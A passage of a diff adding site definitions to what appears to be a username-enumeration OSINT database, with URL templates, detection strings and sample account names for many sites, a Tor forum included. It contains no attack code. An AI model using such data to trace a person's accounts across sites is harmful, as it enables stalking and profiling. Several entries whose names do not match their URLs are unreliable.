use" + ], + "presenseStrs": [ + "sortName", + " profile-data" + ], + "url": "https://morguefile.com/creative/{username}", + "urlMain": "https://morguefile.com", + "usernameClaimed": "thesuccess", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 41779 + }, + "wls.social": { + "urlSubpath": "/wls", + "urlMain": "https://wls.social", + "engine": "Wordpress/Author", + "usernameClaimed": "nathaliemariel", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "blog" + ], + "disabled": true + }, + "steemit": { + "absenceStrs": [ + "NotFound__menu" + ], + "presenseStrs": [ + "profile", + " username" + ], + "url": "https://steemit.com/@{username}", + "urlMain": "https://steemit.com", + "usernameClaimed": "apiprincz", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "news" + ], + "alexaRank": 4449 + }, + "StackOverflow": { + "similarSearch": true, + "absenceStrs": [ + "no-search-results" + ], + "presenseStrs": [ + "user-info", + " user-details" + ], + "url": "https://stackoverflow.com/users/filter?search={username}", + "urlMain": "https://stackoverflow.com", + "usernameClaimed": "maigret", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "coding" + ], + "alexaRank": 37 + }, + "many.link": { + "absenceStrs": [ + "Couldn't find a profile" + ], + "presenseStrs": [ + "og:site_name" + ], + "url": "https://many.link/{username}", + "urlMain": "https://many.link", + "usernameClaimed": "lartisto", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "links" + ], + "alexaRank": 42687 + }, + "Linkkle": { + "absenceStrs": [ + "anonymous" + ], + "presenseStrs": [ + "profile-top", + " profile-head", + " profile-info" + ], + "url": "https://linkkle.com/{username}", + "urlMain": "https://linkkle.com", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "links" + ], + "alexaRank": 166062 + }, + "ContactInBio (domain)": { + "absenceStrs": [ + "img/coffee.png" + ], + "presenseStrs": [ + "user-area" + ], + "url": "http://{username}.contactin.bio/", + "urlMain": "http://username.contactin.bio", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "links" + ], + "alexaRank": 120192 + }, + "ContactInBio (URL)": { + "absenceStrs": [ + "Page not found." + ], + "presenseStrs": [ + "user-area" + ], + "url": "http://allmy.link/{username}", + "urlMain": "http://allmy.link", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "links" + ], + "alexaRank": 3705822 + }, + "shor.by": { + "absenceStrs": [ + "page-not-found" + ], + "presenseStrs": [ + "og:title" + ], + "url": "https://shor.by/{username}", + "urlMain": "https://shor.by", + "usernameClaimed": "0gs0", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "links" + ], + "alexaRank": 40396 + }, + "lnk.bio": { + "absenceStrs": [ + "Not Found - Lnk.Bio" + ], + "presenseStrs": [ + "data-username" + ], + "url": "https://lnk.bio/{username}", + "urlMain": "https://lnk.bio", + "usernameClaimed": "tamirawill", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "links" + ], + "alexaRank": 14930 + }, + "Anobii": { + "absenceStrs": [ + ">{}" + ], + "presenseStrs": [ + "og:site_name" + ], + "url": "https://www.anobii.com/{username}/profile/activity", + "urlMain": "https://www.anobii.com", + "usernameClaimed": "jjordan", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "books" + ], + "alexaRank": 38465 + }, + "Zoomir.ir": { + "absenceStrs": [ + "txtSearch" + ], + "presenseStrs": [ + "Email" + ], + "url": "https://www.zoomit.ir/user/{username}", + "urlMain": "https://www.zoomit.ir", + "usernameClaimed": "kossher", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "forum", + "ir", + "news" + ], + "alexaRank": 1739 + }, + "Skypli": { + "absenceStrs": [ + "Nothing found" + ], + "presenseStrs": [ + "profile-box__info" + ], + "url": "https://www.skypli.com/profile/{username}", + "urlMain": "https://www.skypli.com", + "usernameClaimed": "roxana19739", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "messaging" + ], + "alexaRank": 2426694, + "disabled": true + }, + "21buttons": { + "absenceStrs": [ + "not-found__main" + ], + "presenseStrs": [ + "profile-info" + ], + "url": "https://www.21buttons.com/buttoner/{username}", + "urlMain": "https://www.21buttons.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "fashion", + "networking" + ], + "alexaRank": 154418 + }, + "99designs.com": { + "absenceStrs": [ + "mobile-only" + ], + "presenseStrs": [ + "profileUrl" + ], + "url": "https://99designs.com/profiles/{username}", + "urlMain": "https://99designs.com", + "usernameClaimed": "t6s", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "design", + "photo" + ], + "alexaRank": 3399 + }, + "Expono": { + "absenceStrs": [ + "404 - Page not found<" + ], + "presenseStrs": [ + "page-user-badge" + ], + "url": "http://www.expono.com/{username}", + "urlMain": "http://www.expono.com", + "usernameClaimed": "snila", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 132649 + }, + "picturepush.com": { + "absenceStrs": [ + ".stage img" + ], + "presenseStrs": [ + "loginname" + ], + "url": "https://{username}.picturepush.com/", + "urlMain": "https://picturepush.com", + "usernameClaimed": "yoskark", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 130110 + }, + "Purephoto": { + "absenceStrs": [ + "Not found Page not found" + ], + "presenseStrs": [ + "user-profile-title" + ], + "url": "https://www.myinstants.com/profile/{username}/", + "urlMain": "https://www.myinstants.com", + "usernameClaimed": "john122", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "music" + ], + "alexaRank": 21299 + }, + "ozvolvo.org": { + "absenceStrs": [ + "dashboard_home_filenotfound" + ], + "presenseStrs": [ + "realusername" + ], + "url": "https://ozvolvo.org/profile/{username}", + "urlMain": "https://ozvolvo.org", + "usernameClaimed": "John122", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "auto" + ], + "alexaRank": 1541775 + }, + "community.startupnation.com": { + "absenceStrs": [ + "Default404" + ], + "presenseStrs": [ + "ProfileOptions" + ], + "url": "https://community.startupnation.com/profile/{username}", + "urlMain": "https://community.startupnation.com", + "usernameClaimed": "John122", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "business" + ], + "alexaRank": 56319 + }, + "hi5": { + "absenceStrs": [ + "birthDay" + ], + "presenseStrs": [ + "provider", + "loggedInUserName", + "profile_banner", + "main", + "groupName" + ], + "url": "http://www.hi5.com/{username}", + "urlMain": "http://www.hi5.com", + "usernameClaimed": "johnnflorence", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "networking" + ], + "alexaRank": 10971 + }, + "mymfb.com": { + "absenceStrs": [ + "Page Not Found" + ], + "presenseStrs": [ + "profile-info" + ], + "url": "https://mymfb.com/{username}/", + "urlMain": "https://mymfb.com", + "usernameClaimed": "mortician", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "networking" + ], + "alexaRank": 1513399 + }, + "Baidu": { + "absenceStrs": [ + "error_404_iframe" + ], + "presenseStrs": [ + "user_name" + ], + "url": "https://tieba.baidu.com/home/main?un={username}", + "urlMain": "https://tieba.baidu.com", + "usernameClaimed": "reneecong", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "cn" + ], + "alexaRank": 3 + }, + "Douban": { + "absenceStrs": [ + "\u8fd4\u56de\u9996\u9875" + ], + "presenseStrs": [ + "db-usr-profile" + ], + "url": "https://www.douban.com/people/{username}/", + "urlMain": "https://www.douban.com", + "usernameClaimed": "darkmage", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "cn" + ], + "alexaRank": 56 + }, + "Dumpor": { + "absenceStrs": [ + "Profile doesn't exist" + ], + "presenseStrs": [ + "user__title" + ], + "url": "https://dumpor.com/v/{username}", + "urlMain": "https://dumpor.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "source": "Instagram", + "tags": [ + "photo" + ], + "alexaRank": 17764 + }, + "forum.leerlingen.com": { + "urlSubpath": "/vbb", + "disabled": true, + "urlMain": "http://forum.leerlingen.com", + "engine": "vBulletin", + "usernameClaimed": "john122", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 1976440 + }, + "Porevo": { + "absenceStrs": [ + "last_news" + ], + "presenseStrs": [ + "profile_all" + ], + "url": "https://porevo.site/index.php?{username}", + "urlMain": "https://porevo.site", + "usernameClaimed": "ejdolon", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "porn" + ], + "alexaRank": 452197 + }, + "discuss.hashicorp.com": { + "urlMain": "https://discuss.hashicorp.com", + "engine": "Discourse", + "usernameClaimed": "jfinnigan", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "tech" + ], + "alexaRank": 19997 + }, + "Blogger (by GAIA id)": { + "absenceStrs": [ + "/edit-profile.g" + ], + "presenseStrs": [ + ">" + ], + "url": "http://{username}.weebly.com/", + "urlMain": "http://weebly.com", + "usernameClaimed": "designguild", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "business" + ], + "alexaRank": 385 + }, + "HiddenAnswers": { + "tags": [ + "q&a", + "tor" + ], + "protocol": "tor", + "url": "http://answerszuvs3gg2l64e6hmnryudl5zgrmwm3vh65hzszdghblddvfiqd.onion/user/{username}", + "urlMain": "http://answerszuvs3gg2l64e6hmnryudl5zgrmwm3vh65hzszdghblddvfiqd.onion", + "usernameClaimed": "theredqueen", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "qa-part-form-profile" + ] + }, + "{username}.com": { + "protocol": "dns", + "url": "{username}.com", + "urlMain": "{username}.com", + "usernameClaimed": "soxoj", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "{username}.pro": { + "protocol": "dns", + "url": "{username}.pro", + "urlMain": "{username}.pro", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "{username}.me": { + "protocol": "dns", + "url": "{username}.me", + "urlMain": "{username}.me", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "{username}.biz": { + "protocol": "dns", + "url": "{username}.biz", + "urlMain": "{username}.biz", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "{username}.email": { + "protocol": "dns", + "url": "{username}.email", + "urlMain": "{username}.email", + "usernameClaimed": "phone", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "{username}.guru": { + "protocol": "dns", + "url": "{username}.guru", + "urlMain": "{username}.guru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "{username}.ddns.net": { + "protocol": "dns", + "url": "{username}.ddns.net", + "urlMain": "{username}.ddns.net", + "usernameClaimed": "repack", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "Ameblo": { + "absenceStrs": [ + "THROW_NOT_FOUND_EXCEPTION" + ], + "presenseStrs": [ + "profile" + ], + "url": "https://ameblo.jp/{username}", + "urlMain": "https://ameblo.jp", + "usernameClaimed": "senpai", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 374, + "tags": [ + "blog", + "jp" + ] + }, + "Observable": { + "absenceStrs": [ + "Observable" + ], + "presenseStrs": [ + "profile_email" + ], + "url": "https://observablehq.com/@{username}", + "urlMain": "https://observablehq.com", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 25120, + "tags": [ + "sharing" + ] + }, + "galactictalk.org": { + "urlMain": "https://galactictalk.org", + "engine": "Flarum", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 935585 + }, + "discuss.bootstrapped.fm": { + "urlMain": "https://discuss.bootstrapped.fm", + "engine": "Discourse", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2691289 + }, + "discourse.mozilla.org": { + "urlMain": "https://discourse.mozilla.org", + "engine": "Discourse", + "usernameClaimed": "adamlui", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 132 + }, + "ipinit.in": { + "disabled": true, + "urlMain": "http://ipinit.in", + "engine": "Wordpress/Author", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 462514 + }, + "donorbox": { + "absenceStrs": [ + "/orgs/new" + ], + "presenseStrs": [ + "donation_first_name" + ], + "url": "https://donorbox.org/{username}", + "urlMain": "https://donorbox.org", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 19812, + "tags": [ + "finance" + ] + }, + "telescope.ac": { + "disabled": true, + "absenceStrs": [ + ">Not found" + ], + "presenseStrs": [ + "og:site_name", + "alternate", + "article", + "project", + "og:title" + ], + "url": "https://telescope.ac/{username}", + "urlMain": "https://telescope.ac", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 167480, + "tags": [ + "blog" + ] + }, + "sessionize.com": { + "absenceStrs": [ + "Page Not Found" + ], + "presenseStrs": [ + "role=", + "filter" + ], + "url": "https://sessionize.com/{username}/", + "urlMain": "https://sessionize.com", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 132025, + "tags": [ + "business" + ] + }, + "getmakerlog.com": { + "absenceStrs": [ + "Home | Makerlog" + ], + "presenseStrs": [ + "profile", + "first_name", + "username\\" + ], + "url": "https://getmakerlog.com/@{username}", + "urlMain": "https://getmakerlog.com", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 224990, + "tags": [ + "business" + ] + }, + "giphy.com": { + "absenceStrs": [ + "404 Not Found" + ], + "presenseStrs": [ + "Giphy", + "al:ios:app_name" + ], + "url": "https://giphy.com/channel/{username}", + "urlMain": "https://giphy.com", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 695, + "tags": [ + "video" + ] + }, + "clarity.fm": { + "absenceStrs": [ + "On Demand Business Advice" + ], + "presenseStrs": [ + "\u041f\u0440\u043e\u0444\u0438\u043b\u044c" + ], + "url": "https://partnerkin.com/user/{username}", + "urlMain": "https://partnerkin.com", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "finance" + ], + "alexaRank": 43267 + }, + "hozpitality": { + "presenseStrs": [ + "USERNAME" + ], + "url": "https://www.hozpitality.com/{username}/profile", + "urlMain": "https://www.hozpitality.com", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "response_url", + "alexaRank": 227277 + }, + "blogs.klerk.ru": { + "presenseStrs": [ + "profile-links" + ], + "url": "https://blogs.klerk.ru/users/{username}/", + "urlMain": "https://blogs.klerk.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 6859 + }, + "Worldis.me": { + "absenceStrs": [ + "user_password", + "send_email" + ], + "presenseStrs": [ + "my_profile", + "profile_upi", + "UserInfo" + ], + "url": "http://en.worldis.me/{username}", + "urlMain": "http://en.worldis.me", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 3233509, + "tags": [ + "ru" + ] + }, + "photoshop-kopona.com": { + "absenceStrs": [ + "<div id='dle-content'></div></div></main></div></div><footer class=\"footer\">" + ], + "presenseStrs": [ + "uspusertitle" + ], + "url": "https://photoshop-kopona.com/ru/user/{username}/", + "urlMain": "https://photoshop-kopona.com", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 44106, + "tags": [ + "ru" + ] + }, + "dumskaya.net": { + "absenceStrs": [ + "><img class=nobo src=/banner/ps2_/ alt=" + ], + "presenseStrs": [ + "><img class=nobo src=/banner/prague_/ alt=" + ], + "url": "https://dumskaya.net/user/{username}/", + "urlMain": "https://dumskaya.net", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 73617, + "tags": [ + "ru" + ] + }, + "rblx.trade": { + "absenceStrs": [ + "isRblxTradeException" + ], + "presenseStrs": [ + "userId" + ], + "url": "https://rblx.trade/p/{username}", + "urlMain": "https://rblx.trade", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 362185, + "source": "Roblox", + "tags": [ + "gaming" + ] + }, + "monitoringminecraft.ru": { + "absenceStrs": [ + "shadowi" + ], + "presenseStrs": [ + "small" + ], + "url": "https://monitoringminecraft.ru/player/{username}", + "urlMain": "https://monitoringminecraft.ru", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 115209, + "tags": [ + "gaming" + ] + }, + "profi.ru": { + "absenceStrs": [ + "page-404__paragraph" + ], + "presenseStrs": [ + "PROFILE", + "profiles", + "profileOIO", + "fullProfile", + "profileUGC2" + ], + "url": "https://profi.ru/profile/{username}/", + "urlMain": "https://profi.ru", + "usernameClaimed": "EgorovRV", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 12037, + "tags": [ + "freelance" + ] + }, + "app.airnfts.com": { + "absenceStrs": [ + "user-not-found-div" + ], + "presenseStrs": [ + "username", + "ownerUsername", + "creatorUsername", + "name", + "user" + ], + "url": "https://app.airnfts.com/creators/{username}", + "urlMain": "https://app.airnfts.com", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 30223 + }, + "xgm.guru": { + "presenseStrs": [ + "\u0410\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c:" + ], + "absenceStrs": [ + "\u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f" + ], + "url": "https://xgm.guru/user/{username}", + "urlMain": "https://xgm.guru", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 692341, + "tags": [ + "forum", + "gaming" + ] + }, + "giters.com": { + "absenceStrs": [ + "This page could not be found" + ], + "presenseStrs": [ + "nofollow" + ], + "url": "https://giters.com/{username}", + "urlMain": "https://giters.com", + "usernameClaimed": "soxoj", + "source": "GitHub", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 16094, + "tags": [ + "coding" + ] + }, + "githubplus.com": { + "absenceStrs": [ + "preconnect" + ], + "presenseStrs": [ + "collapse" + ], + "url": "https://githubplus.com/{username}", + "urlMain": "https://githubplus.com", + "usernameClaimed": "soxoj", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 222994, + "source": "GitHub", + "tags": [ + "coding" + ] + }, + "coder.social": { + "disabled": true, + "absenceStrs": [ + "<title>Coder Social Home" + ], + "presenseStrs": [ + "nofollow" + ], + "url": "https://coder.social/{username}", + "urlMain": "https://coder.social", + "usernameClaimed": "soxoj", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 2318473, + "source": "GitHub", + "tags": [ + "coding" + ] + }, + "tg.rip": { + "disabled": true, + "absenceStrs": [ + "btn_label" + ], + "presenseStrs": [ + "\u0422\u0435\u043b\u0435\u0433\u0440\u0430\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c" + ], + "url": "https://tg.rip/{username}", + "urlMain": "https://tg.rip", + "usernameClaimed": "soxoj", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 5553957, + "source": "Telegram", + "tags": [ + "messaging" + ] + }, + "Realmeye-graveyard": { + "absenceStrs": [ + "player-not-found" + ], + "presenseStrs": [ + "entity-name" + ], + "regexCheck": "^[a-zA-Z]+$", + "url": "https://www.realmeye.com/graveyard-of-player/{username}", + "urlMain": "https://www.realmeye.com", + "usernameClaimed": "Eatil", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 69701, + "source": "Realmeye", + "tags": [ + "gaming" + ] + }, + "mel.fm": { + "absenceStrs": [ + "l-page-404__text-not-found" + ], + "presenseStrs": [ + "\u0412\u0432\u0435\u0434\u0438\u0442\u0435 e-mail" + ], + "url": "https://mel.fm/blog/{username}", + "urlMain": "https://mel.fm", + "usernameClaimed": "ivan-ivanov30", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 15670, + "tags": [ + "ru" + ] + }, + "tikbuddy.com": { + "presenseStrs": [ + "nickName" + ], + "url": "https://tikbuddy.com/en/tiktok/{username}", + "urlMain": "https://tikbuddy.com", + "usernameClaimed": "sergey.ivanov29", + "usernameUnclaimed": "noonewouldeverusethis9", + "checkType": "message", + "alexaRank": 187661, + "source": "TikTok", + "tags": [ + "hobby", + "video" + ] + }, + "Djagi": { + "absenceStrs": [ + "noindex" + ], + "presenseStrs": [ + "profile-menu" + ], + "url": "https://www.djagi.com/cards/{username}", + "urlMain": "https://www.djagi.com", + "usernameClaimed": "ivan.ivanov28", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 63627, + "tags": [ + "bg" + ] + }, + "kazanlashkigalab.com": { + "urlMain": "https://kazanlashkigalab.com", + "engine": "Wordpress/Author", + "usernameClaimed": "boncho-bonev", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "kz" + ] + }, + "Yumpu": { + "disabled": true, + "absenceStrs": [ + "float-left" + ], + "presenseStrs": [ + "yp-grid-mag-container yp-content-container" + ], + "url": "https://www.yumpu.com/user/{username}", + "urlMain": "https://www.yumpu.com", + "usernameClaimed": "26vadim.ivanov26", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 951, + "tags": [ + "stock" + ] + }, + "999.md": { + "absenceStrs": [ + "error-404-page" + ], + "presenseStrs": [ + "user-profile" + ], + "url": "https://999.md/ru/profile/{username}", + "urlMain": "https://999.md", + "usernameClaimed": "ivanov25", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 3344, + "tags": [ + "freelance", + "md", + "shopping" + ] + }, + "Muckrack": { + "absenceStrs": [ + "(404) Page Not Found" + ], + "presenseStrs": [ + "profile-details-item" + ], + "url": "https://muckrack.com/{username}", + "urlMain": "https://muckrack.com", + "usernameClaimed": "adam-flomenbaum", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 4820, + "tags": [ + "us" + ] + }, + "Aparat": { + "absenceStrs": [ + "404 - Page Not Found" + ], + "presenseStrs": [ + "Profile", + "username", + "ProfileMore", + "name", + "provider" + ], + "urlProbe": "https://www.aparat.com/api/fa/v1/user/user/information/username/{username}", + "url": "https://www.aparat.com/{username}", + "urlMain": "https://www.aparat.com", + "usernameClaimed": "BoHBiG", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 61, + "tags": [ + "ir", + "video" + ] + }, + "airlinepilot.life": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://airlinepilot.life/u/{username}" + }, + "algowiki-project.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://algowiki-project.org/en/User:{username}" + }, + "alimero.ru": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://alimero.ru/profile/{username}" + }, + "baseball-reference.com": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://baseball-reference.com/bullpen/User:{username}" + }, + "bbpress.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://bbpress.org/forums/profile/{username}/" + }, + "betawiki.net": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://betawiki.net/wiki/User:{username}" + }, + "bitcoin.it": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://bitcoin.it/wiki/User:{username}" + }, + "bookafly.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://bookafly.com/users/{username}" + }, + "brainscale.net": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://brainscale.net/users/{username}" + }, + "bulbapedia.bulbagarden.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://bulbapedia.bulbagarden.net/wiki/User:{username}" + }, + "bulbapp.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://bulbapp.com/{username}" + }, + "caddy.community": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://caddy.community/u/{username}" + }, + "chiefdelphi.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://chiefdelphi.com/u/{username}" + }, + "choice.community": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://choice.community/u/{username}" + }, + "cloudromance.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://cloudromance.com/{username}" + }, + "club.myce.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://club.myce.com/u/{username}" + }, + "cnblogs.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://cnblogs.com/{username}" + }, + "commons.commondreams.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://commons.commondreams.org/u/{username}" + }, + "community.cartalk.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.cartalk.com/u/{username}" + }, + "community.gamedev.tv": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.gamedev.tv/u/{username}" + }, + "community.gemsofwar.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.gemsofwar.com/u/{username}" + }, + "community.glowforge.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.glowforge.com/u/{username}" + }, + "community.home-assistant.io": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.home-assistant.io/u/{username}" + }, + "community.infiniteflight.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.infiniteflight.com/u/{username}" + }, + "community.kodular.io": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.kodular.io/u/{username}" + }, + "community.letsencrypt.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.letsencrypt.org/u/{username}" + }, + "community.mycroft.ai": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.mycroft.ai/u/{username}" + }, + "community.mydevices.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.mydevices.com/u/{username}" + }, + "community.quickfile.co.uk": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.quickfile.co.uk/u/{username}" + }, + "community.roonlabs.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.roonlabs.com/u/{username}" + }, + "community.rstudio.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.rstudio.com/u/{username}" + }, + "community.unbounce.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.unbounce.com/u/{username}" + }, + "creationwiki.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://creationwiki.org/User:{username}" + 